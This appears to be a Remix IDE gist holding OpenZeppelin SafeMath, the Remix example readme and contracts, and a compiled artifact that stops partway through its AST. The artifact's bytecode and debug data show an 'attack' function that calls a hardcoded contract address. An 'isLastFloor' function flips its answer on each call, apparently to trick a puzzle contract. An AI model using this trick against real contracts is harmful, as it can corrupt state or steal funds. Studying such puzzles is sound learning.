Skip to content

Instantly share code, notes, and snippets.

Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Celeborn2BeAlive/b0beb457f60d8b25aaafbbf0c25e8012 to your computer and use it in GitHub Desktop.
Save Celeborn2BeAlive/b0beb457f60d8b25aaafbbf0c25e8012 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=builtin&optimize=false&runs=200&gist=
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/math/SafeMath.sol)
pragma solidity ^0.8.0;
// CAUTION
// This version of SafeMath should only be used with Solidity 0.8 or later,
// because it relies on the compiler's built in overflow checks.
/**
* @dev Wrappers over Solidity's arithmetic operations.
*
* NOTE: `SafeMath` is generally not needed starting with Solidity 0.8, since the compiler
* now has built in overflow checking.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
uint256 c = a + b;
if (c < a) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the substraction of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b > a) return (false, 0);
return (true, a - b);
}
}
/**
* @dev Returns the multiplication of two unsigned integers, with an overflow flag.
*
* _Available since v3.4._
*/
function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) return (true, 0);
uint256 c = a * b;
if (c / a != b) return (false, 0);
return (true, c);
}
}
/**
* @dev Returns the division of two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a / b);
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag.
*
* _Available since v3.4._
*/
function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
unchecked {
if (b == 0) return (false, 0);
return (true, a % b);
}
}
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
/**
* @dev Returns the integer division of two unsigned integers, reverting on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator.
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return a % b;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {trySub}.
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
/**
* @dev Returns the integer division of two unsigned integers, reverting with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* reverting with custom message when dividing by zero.
*
* CAUTION: This function is deprecated because it requires allocating memory for the error
* message unnecessarily. For custom revert reasons use {tryMod}.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
unchecked {
require(b > 0, errorMessage);
return a % b;
}
}
}
REMIX EXAMPLE PROJECT
Remix example project is present when Remix loads very first time or there are no files existing in the File Explorer.
It contains 3 directories:
1. 'contracts': Holds three contracts with different complexity level, denoted with number prefix in file name.
2. 'scripts': Holds two scripts to deploy a contract. It is explained below.
3. 'tests': Contains one test file for 'Ballot' contract with unit tests in Solidity.
SCRIPTS
The 'scripts' folder contains example async/await scripts for deploying the 'Storage' contract.
For the deployment of any other contract, 'contractName' and 'constructorArgs' should be updated (along with other code if required).
Scripts have full access to the web3.js and ethers.js libraries.
To run a script, right click on file name in the file explorer and click 'Run'. Remember, Solidity file must already be compiled.
Output from script will appear in remix terminal.
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Storage
* @dev Store & retrieve value in a variable
*/
contract Storage {
uint256 number;
/**
* @dev Store value in variable
* @param num value to store
*/
function store(uint256 num) public {
number = num;
}
/**
* @dev Return value
* @return value of 'number'
*/
function retrieve() public view returns (uint256){
return number;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Owner
* @dev Set & change owner
*/
contract Owner {
address private owner;
// event for EVM logging
event OwnerSet(address indexed oldOwner, address indexed newOwner);
// modifier to check if caller is owner
modifier isOwner() {
// If the first argument of 'require' evaluates to 'false', execution terminates and all
// changes to the state and to Ether balances are reverted.
// This used to consume all gas in old EVM versions, but not anymore.
// It is often a good idea to use 'require' to check if functions are called correctly.
// As a second argument, you can also provide an explanation about what went wrong.
require(msg.sender == owner, "Caller is not owner");
_;
}
/**
* @dev Set contract deployer as owner
*/
constructor() {
owner = msg.sender; // 'msg.sender' is sender of current call, contract deployer for a constructor
emit OwnerSet(address(0), owner);
}
/**
* @dev Change owner
* @param newOwner address of new owner
*/
function changeOwner(address newOwner) public isOwner {
emit OwnerSet(owner, newOwner);
owner = newOwner;
}
/**
* @dev Return owner address
* @return address of owner
*/
function getOwner() external view returns (address) {
return owner;
}
}
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
/**
* @title Ballot
* @dev Implements voting process along with vote delegation
*/
contract Ballot {
struct Voter {
uint weight; // weight is accumulated by delegation
bool voted; // if true, that person already voted
address delegate; // person delegated to
uint vote; // index of the voted proposal
}
struct Proposal {
// If you can limit the length to a certain number of bytes,
// always use one of bytes1 to bytes32 because they are much cheaper
bytes32 name; // short name (up to 32 bytes)
uint voteCount; // number of accumulated votes
}
address public chairperson;
mapping(address => Voter) public voters;
Proposal[] public proposals;
/**
* @dev Create a new ballot to choose one of 'proposalNames'.
* @param proposalNames names of proposals
*/
constructor(bytes32[] memory proposalNames) {
chairperson = msg.sender;
voters[chairperson].weight = 1;
for (uint i = 0; i < proposalNames.length; i++) {
// 'Proposal({...})' creates a temporary
// Proposal object and 'proposals.push(...)'
// appends it to the end of 'proposals'.
proposals.push(Proposal({
name: proposalNames[i],
voteCount: 0
}));
}
}
/**
* @dev Give 'voter' the right to vote on this ballot. May only be called by 'chairperson'.
* @param voter address of voter
*/
function giveRightToVote(address voter) public {
require(
msg.sender == chairperson,
"Only chairperson can give right to vote."
);
require(
!voters[voter].voted,
"The voter already voted."
);
require(voters[voter].weight == 0);
voters[voter].weight = 1;
}
/**
* @dev Delegate your vote to the voter 'to'.
* @param to address to which vote is delegated
*/
function delegate(address to) public {
Voter storage sender = voters[msg.sender];
require(!sender.voted, "You already voted.");
require(to != msg.sender, "Self-delegation is disallowed.");
while (voters[to].delegate != address(0)) {
to = voters[to].delegate;
// We found a loop in the delegation, not allowed.
require(to != msg.sender, "Found loop in delegation.");
}
sender.voted = true;
sender.delegate = to;
Voter storage delegate_ = voters[to];
if (delegate_.voted) {
// If the delegate already voted,
// directly add to the number of votes
proposals[delegate_.vote].voteCount += sender.weight;
} else {
// If the delegate did not vote yet,
// add to her weight.
delegate_.weight += sender.weight;
}
}
/**
* @dev Give your vote (including votes delegated to you) to proposal 'proposals[proposal].name'.
* @param proposal index of proposal in the proposals array
*/
function vote(uint proposal) public {
Voter storage sender = voters[msg.sender];
require(sender.weight != 0, "Has no right to vote");
require(!sender.voted, "Already voted.");
sender.voted = true;
sender.vote = proposal;
// If 'proposal' is out of the range of the array,
// this will throw automatically and revert all
// changes.
proposals[proposal].voteCount += sender.weight;
}
/**
* @dev Computes the winning proposal taking all previous votes into account.
* @return winningProposal_ index of winning proposal in the proposals array
*/
function winningProposal() public view
returns (uint winningProposal_)
{
uint winningVoteCount = 0;
for (uint p = 0; p < proposals.length; p++) {
if (proposals[p].voteCount > winningVoteCount) {
winningVoteCount = proposals[p].voteCount;
winningProposal_ = p;
}
}
}
/**
* @dev Calls winningProposal() function to get the index of the winner contained in the proposals array and then
* @return winnerName_ the name of the winner
*/
function winnerName() public view
returns (bytes32 winnerName_)
{
winnerName_ = proposals[winningProposal()].name;
}
}
{
"deploy": {
"VM:-": {
"linkReferences": {},
"autoDeployLib": true
},
"main:1": {
"linkReferences": {},
"autoDeployLib": true
},
"ropsten:3": {
"linkReferences": {},
"autoDeployLib": true
},
"rinkeby:4": {
"linkReferences": {},
"autoDeployLib": true
},
"kovan:42": {
"linkReferences": {},
"autoDeployLib": true
},
"görli:5": {
"linkReferences": {},
"autoDeployLib": true
},
"Custom": {
"linkReferences": {},
"autoDeployLib": true
}
},
"data": {
"bytecode": {
"functionDebugData": {},
"generatedSources": [],
"linkReferences": {},
"object": "608060405260008060006101000a81548160ff02191690831515021790555034801561002a57600080fd5b506102508061003a6000396000f3fe608060405234801561001057600080fd5b50600436106100365760003560e01c80635f9a4bca1461003b5780639e5faafc1461006b575b600080fd5b61005560048036038101906100509190610155565b610075565b60405161006291906101a0565b60405180910390f35b6100736100b8565b005b60008060008054906101000a900460ff16905060008054906101000a900460ff16156000806101000a81548160ff02191690831515021790555080915050919050565b600073c29a20b44d3cf822268e0b847d4863df37fb5e7f90508073ffffffffffffffffffffffffffffffffffffffff1663ed9a7134602a6040518263ffffffff1660e01b815260040161010b91906101bb565b600060405180830381600087803b15801561012557600080fd5b505af1158015610139573d6000803e3d6000fd5b5050505050565b60008135905061014f81610203565b92915050565b60006020828403121561016b5761016a6101fe565b5b600061017984828501610140565b91505092915050565b61018b816101d6565b82525050565b61019a816101ec565b82525050565b60006020820190506101b56000830184610182565b92915050565b60006020820190506101d06000830184610191565b92915050565b60008115159050919050565b6000819050919050565b60006101f7826101e2565b9050919050565b600080fd5b61020c816101e2565b811461021757600080fd5b5056fea2646970667358221220e622f8f0bf24a32966f09d180e9de2eaad07e24a4b60f9835b9bda884f000b2e64736f6c63430008070033",
"opcodes": "PUSH1 0x80 PUSH1 0x40 MSTORE PUSH1 0x0 DUP1 PUSH1 0x0 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP CALLVALUE DUP1 ISZERO PUSH2 0x2A JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH2 0x250 DUP1 PUSH2 0x3A PUSH1 0x0 CODECOPY PUSH1 0x0 RETURN INVALID PUSH1 0x80 PUSH1 0x40 MSTORE CALLVALUE DUP1 ISZERO PUSH2 0x10 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP PUSH1 0x4 CALLDATASIZE LT PUSH2 0x36 JUMPI PUSH1 0x0 CALLDATALOAD PUSH1 0xE0 SHR DUP1 PUSH4 0x5F9A4BCA EQ PUSH2 0x3B JUMPI DUP1 PUSH4 0x9E5FAAFC EQ PUSH2 0x6B JUMPI JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x55 PUSH1 0x4 DUP1 CALLDATASIZE SUB DUP2 ADD SWAP1 PUSH2 0x50 SWAP2 SWAP1 PUSH2 0x155 JUMP JUMPDEST PUSH2 0x75 JUMP JUMPDEST PUSH1 0x40 MLOAD PUSH2 0x62 SWAP2 SWAP1 PUSH2 0x1A0 JUMP JUMPDEST PUSH1 0x40 MLOAD DUP1 SWAP2 SUB SWAP1 RETURN JUMPDEST PUSH2 0x73 PUSH2 0xB8 JUMP JUMPDEST STOP JUMPDEST PUSH1 0x0 DUP1 PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND SWAP1 POP PUSH1 0x0 DUP1 SLOAD SWAP1 PUSH2 0x100 EXP SWAP1 DIV PUSH1 0xFF AND ISZERO PUSH1 0x0 DUP1 PUSH2 0x100 EXP DUP2 SLOAD DUP2 PUSH1 0xFF MUL NOT AND SWAP1 DUP4 ISZERO ISZERO MUL OR SWAP1 SSTORE POP DUP1 SWAP2 POP POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH20 0xC29A20B44D3CF822268E0B847D4863DF37FB5E7F SWAP1 POP DUP1 PUSH20 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF AND PUSH4 0xED9A7134 PUSH1 0x2A PUSH1 0x40 MLOAD DUP3 PUSH4 0xFFFFFFFF AND PUSH1 0xE0 SHL DUP2 MSTORE PUSH1 0x4 ADD PUSH2 0x10B SWAP2 SWAP1 PUSH2 0x1BB JUMP JUMPDEST PUSH1 0x0 PUSH1 0x40 MLOAD DUP1 DUP4 SUB DUP2 PUSH1 0x0 DUP8 DUP1 EXTCODESIZE ISZERO DUP1 ISZERO PUSH2 0x125 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP GAS CALL ISZERO DUP1 ISZERO PUSH2 0x139 JUMPI RETURNDATASIZE PUSH1 0x0 DUP1 RETURNDATACOPY RETURNDATASIZE PUSH1 0x0 REVERT JUMPDEST POP POP POP POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 CALLDATALOAD SWAP1 POP PUSH2 0x14F DUP2 PUSH2 0x203 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 DUP5 SUB SLT ISZERO PUSH2 0x16B JUMPI PUSH2 0x16A PUSH2 0x1FE JUMP JUMPDEST JUMPDEST PUSH1 0x0 PUSH2 0x179 DUP5 DUP3 DUP6 ADD PUSH2 0x140 JUMP JUMPDEST SWAP2 POP POP SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH2 0x18B DUP2 PUSH2 0x1D6 JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH2 0x19A DUP2 PUSH2 0x1EC JUMP JUMPDEST DUP3 MSTORE POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1B5 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x182 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 PUSH1 0x20 DUP3 ADD SWAP1 POP PUSH2 0x1D0 PUSH1 0x0 DUP4 ADD DUP5 PUSH2 0x191 JUMP JUMPDEST SWAP3 SWAP2 POP POP JUMP JUMPDEST PUSH1 0x0 DUP2 ISZERO ISZERO SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP2 SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 PUSH2 0x1F7 DUP3 PUSH2 0x1E2 JUMP JUMPDEST SWAP1 POP SWAP2 SWAP1 POP JUMP JUMPDEST PUSH1 0x0 DUP1 REVERT JUMPDEST PUSH2 0x20C DUP2 PUSH2 0x1E2 JUMP JUMPDEST DUP2 EQ PUSH2 0x217 JUMPI PUSH1 0x0 DUP1 REVERT JUMPDEST POP JUMP INVALID LOG2 PUSH5 0x6970667358 0x22 SLT KECCAK256 0xE6 0x22 0xF8 CREATE 0xBF 0x24 LOG3 0x29 PUSH7 0xF09D180E9DE2EA 0xAD SMOD 0xE2 0x4A 0x4B PUSH1 0xF9 DUP4 JUMPDEST SWAP12 0xDA DUP9 0x4F STOP SIGNEXTEND 0x2E PUSH5 0x736F6C6343 STOP ADDMOD SMOD STOP CALLER ",
"sourceMap": "338:352:0:-:0;;;377:5;363:19;;;;;;;;;;;;;;;;;;;;338:352;;;;;;;;;;;;;;;;"
},
"deployedBytecode": {
"functionDebugData": {
"@attack_77": {
"entryPoint": 184,
"id": 77,
"parameterSlots": 0,
"returnSlots": 0
},
"@isLastFloor_60": {
"entryPoint": 117,
"id": 60,
"parameterSlots": 1,
"returnSlots": 1
},
"abi_decode_t_uint256": {
"entryPoint": 320,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_decode_tuple_t_uint256": {
"entryPoint": 341,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_t_bool_to_t_bool_fromStack": {
"entryPoint": 386,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_t_rational_42_by_1_to_t_uint256_fromStack": {
"entryPoint": 401,
"id": null,
"parameterSlots": 2,
"returnSlots": 0
},
"abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed": {
"entryPoint": 416,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"abi_encode_tuple_t_rational_42_by_1__to_t_uint256__fromStack_reversed": {
"entryPoint": 443,
"id": null,
"parameterSlots": 2,
"returnSlots": 1
},
"allocate_unbounded": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 1
},
"cleanup_t_bool": {
"entryPoint": 470,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"cleanup_t_uint256": {
"entryPoint": 482,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"convert_t_rational_42_by_1_to_t_uint256": {
"entryPoint": 492,
"id": null,
"parameterSlots": 1,
"returnSlots": 1
},
"revert_error_c1322bf8034eace5e0b5c7295db60986aa89aae5e0ea0873e4689e076861a5db": {
"entryPoint": null,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b": {
"entryPoint": 510,
"id": null,
"parameterSlots": 0,
"returnSlots": 0
},
"validator_revert_t_uint256": {
"entryPoint": 515,
"id": null,
"parameterSlots": 1,
"returnSlots": 0
}
},
"generatedSources": [
{
"ast": {
"nodeType": "YulBlock",
"src": "0:1978:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "59:87:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "69:29:1",
"value": {
"arguments": [
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "91:6:1"
}
],
"functionName": {
"name": "calldataload",
"nodeType": "YulIdentifier",
"src": "78:12:1"
},
"nodeType": "YulFunctionCall",
"src": "78:20:1"
},
"variableNames": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "69:5:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "134:5:1"
}
],
"functionName": {
"name": "validator_revert_t_uint256",
"nodeType": "YulIdentifier",
"src": "107:26:1"
},
"nodeType": "YulFunctionCall",
"src": "107:33:1"
},
"nodeType": "YulExpressionStatement",
"src": "107:33:1"
}
]
},
"name": "abi_decode_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "37:6:1",
"type": ""
},
{
"name": "end",
"nodeType": "YulTypedName",
"src": "45:3:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "53:5:1",
"type": ""
}
],
"src": "7:139:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "218:263:1",
"statements": [
{
"body": {
"nodeType": "YulBlock",
"src": "264:83:1",
"statements": [
{
"expression": {
"arguments": [],
"functionName": {
"name": "revert_error_dbdddcbe895c83990c08b3492a0e83918d802a52331272ac6fdb6a7c4aea3b1b",
"nodeType": "YulIdentifier",
"src": "266:77:1"
},
"nodeType": "YulFunctionCall",
"src": "266:79:1"
},
"nodeType": "YulExpressionStatement",
"src": "266:79:1"
}
]
},
"condition": {
"arguments": [
{
"arguments": [
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "239:7:1"
},
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "248:9:1"
}
],
"functionName": {
"name": "sub",
"nodeType": "YulIdentifier",
"src": "235:3:1"
},
"nodeType": "YulFunctionCall",
"src": "235:23:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "260:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "slt",
"nodeType": "YulIdentifier",
"src": "231:3:1"
},
"nodeType": "YulFunctionCall",
"src": "231:32:1"
},
"nodeType": "YulIf",
"src": "228:119:1"
},
{
"nodeType": "YulBlock",
"src": "357:117:1",
"statements": [
{
"nodeType": "YulVariableDeclaration",
"src": "372:15:1",
"value": {
"kind": "number",
"nodeType": "YulLiteral",
"src": "386:1:1",
"type": "",
"value": "0"
},
"variables": [
{
"name": "offset",
"nodeType": "YulTypedName",
"src": "376:6:1",
"type": ""
}
]
},
{
"nodeType": "YulAssignment",
"src": "401:63:1",
"value": {
"arguments": [
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "436:9:1"
},
{
"name": "offset",
"nodeType": "YulIdentifier",
"src": "447:6:1"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "432:3:1"
},
"nodeType": "YulFunctionCall",
"src": "432:22:1"
},
{
"name": "dataEnd",
"nodeType": "YulIdentifier",
"src": "456:7:1"
}
],
"functionName": {
"name": "abi_decode_t_uint256",
"nodeType": "YulIdentifier",
"src": "411:20:1"
},
"nodeType": "YulFunctionCall",
"src": "411:53:1"
},
"variableNames": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "401:6:1"
}
]
}
]
}
]
},
"name": "abi_decode_tuple_t_uint256",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "188:9:1",
"type": ""
},
{
"name": "dataEnd",
"nodeType": "YulTypedName",
"src": "199:7:1",
"type": ""
}
],
"returnVariables": [
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "211:6:1",
"type": ""
}
],
"src": "152:329:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "546:50:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "563:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "583:5:1"
}
],
"functionName": {
"name": "cleanup_t_bool",
"nodeType": "YulIdentifier",
"src": "568:14:1"
},
"nodeType": "YulFunctionCall",
"src": "568:21:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "556:6:1"
},
"nodeType": "YulFunctionCall",
"src": "556:34:1"
},
"nodeType": "YulExpressionStatement",
"src": "556:34:1"
}
]
},
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "534:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "541:3:1",
"type": ""
}
],
"src": "487:109:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "676:75:1",
"statements": [
{
"expression": {
"arguments": [
{
"name": "pos",
"nodeType": "YulIdentifier",
"src": "693:3:1"
},
{
"arguments": [
{
"name": "value",
"nodeType": "YulIdentifier",
"src": "738:5:1"
}
],
"functionName": {
"name": "convert_t_rational_42_by_1_to_t_uint256",
"nodeType": "YulIdentifier",
"src": "698:39:1"
},
"nodeType": "YulFunctionCall",
"src": "698:46:1"
}
],
"functionName": {
"name": "mstore",
"nodeType": "YulIdentifier",
"src": "686:6:1"
},
"nodeType": "YulFunctionCall",
"src": "686:59:1"
},
"nodeType": "YulExpressionStatement",
"src": "686:59:1"
}
]
},
"name": "abi_encode_t_rational_42_by_1_to_t_uint256_fromStack",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "value",
"nodeType": "YulTypedName",
"src": "664:5:1",
"type": ""
},
{
"name": "pos",
"nodeType": "YulTypedName",
"src": "671:3:1",
"type": ""
}
],
"src": "602:149:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "849:118:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "859:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "871:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "882:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "867:3:1"
},
"nodeType": "YulFunctionCall",
"src": "867:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "859:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "933:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "946:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "957:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "942:3:1"
},
"nodeType": "YulFunctionCall",
"src": "942:17:1"
}
],
"functionName": {
"name": "abi_encode_t_bool_to_t_bool_fromStack",
"nodeType": "YulIdentifier",
"src": "895:37:1"
},
"nodeType": "YulFunctionCall",
"src": "895:65:1"
},
"nodeType": "YulExpressionStatement",
"src": "895:65:1"
}
]
},
"name": "abi_encode_tuple_t_bool__to_t_bool__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "821:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "833:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "844:4:1",
"type": ""
}
],
"src": "757:210:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1080:133:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1090:26:1",
"value": {
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1102:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1113:2:1",
"type": "",
"value": "32"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1098:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1098:18:1"
},
"variableNames": [
{
"name": "tail",
"nodeType": "YulIdentifier",
"src": "1090:4:1"
}
]
},
{
"expression": {
"arguments": [
{
"name": "value0",
"nodeType": "YulIdentifier",
"src": "1179:6:1"
},
{
"arguments": [
{
"name": "headStart",
"nodeType": "YulIdentifier",
"src": "1192:9:1"
},
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1203:1:1",
"type": "",
"value": "0"
}
],
"functionName": {
"name": "add",
"nodeType": "YulIdentifier",
"src": "1188:3:1"
},
"nodeType": "YulFunctionCall",
"src": "1188:17:1"
}
],
"functionName": {
"name": "abi_encode_t_rational_42_by_1_to_t_uint256_fromStack",
"nodeType": "YulIdentifier",
"src": "1126:52:1"
},
"nodeType": "YulFunctionCall",
"src": "1126:80:1"
},
"nodeType": "YulExpressionStatement",
"src": "1126:80:1"
}
]
},
"name": "abi_encode_tuple_t_rational_42_by_1__to_t_uint256__fromStack_reversed",
"nodeType": "YulFunctionDefinition",
"parameters": [
{
"name": "headStart",
"nodeType": "YulTypedName",
"src": "1052:9:1",
"type": ""
},
{
"name": "value0",
"nodeType": "YulTypedName",
"src": "1064:6:1",
"type": ""
}
],
"returnVariables": [
{
"name": "tail",
"nodeType": "YulTypedName",
"src": "1075:4:1",
"type": ""
}
],
"src": "973:240:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1259:35:1",
"statements": [
{
"nodeType": "YulAssignment",
"src": "1269:19:1",
"value": {
"arguments": [
{
"kind": "number",
"nodeType": "YulLiteral",
"src": "1285:2:1",
"type": "",
"value": "64"
}
],
"functionName": {
"name": "mload",
"nodeType": "YulIdentifier",
"src": "1279:5:1"
},
"nodeType": "YulFunctionCall",
"src": "1279:9:1"
},
"variableNames": [
{
"name": "memPtr",
"nodeType": "YulIdentifier",
"src": "1269:6:1"
}
]
}
]
},
"name": "allocate_unbounded",
"nodeType": "YulFunctionDefinition",
"returnVariables": [
{
"name": "memPtr",
"nodeType": "YulTypedName",
"src": "1252:6:1",
"type": ""
}
],
"src": "1219:75:1"
},
{
"body": {
"nodeType": "YulBlock",
"src": "1342:48:1",
"statements": [
{
"nodeType": "YulAssignment",
